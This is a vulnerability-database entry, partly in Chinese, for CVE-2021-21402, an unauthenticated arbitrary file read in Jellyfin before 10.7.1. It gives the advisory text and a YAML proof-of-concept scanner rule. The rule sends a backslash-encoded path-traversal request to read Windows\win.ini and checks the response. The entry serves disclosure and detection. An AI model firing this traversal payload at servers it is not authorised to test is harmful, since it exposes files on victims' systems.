CVE-2021-21402: Jellyfin prior to 10.7.0 Unauthenticated Arbitrary File Read
日期: 2025-09-01 | 影响软件: 未知 | POC: 已公开
漏洞描述
Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.
PoC代码[已公开]
id: CVE-2021-21402
info:
name: Jellyfin prior to 10.7.0 Unauthenticated Arbitrary File Read
author: Print1n
severity: medium
description: |-
Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.
reference:
- https://github.com/jellyfin/jellyfin/security/advisories/GHSA-9v4h-4997-2w44
- https://nvd.nist.gov/vuln/detail/CVE-2021-21402
tags: cve,cve2021,jellyfin,fileread,unauth
created: 2021/04/20
rules:
r0:
request:
method: GET
path: /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support")
expression: r0()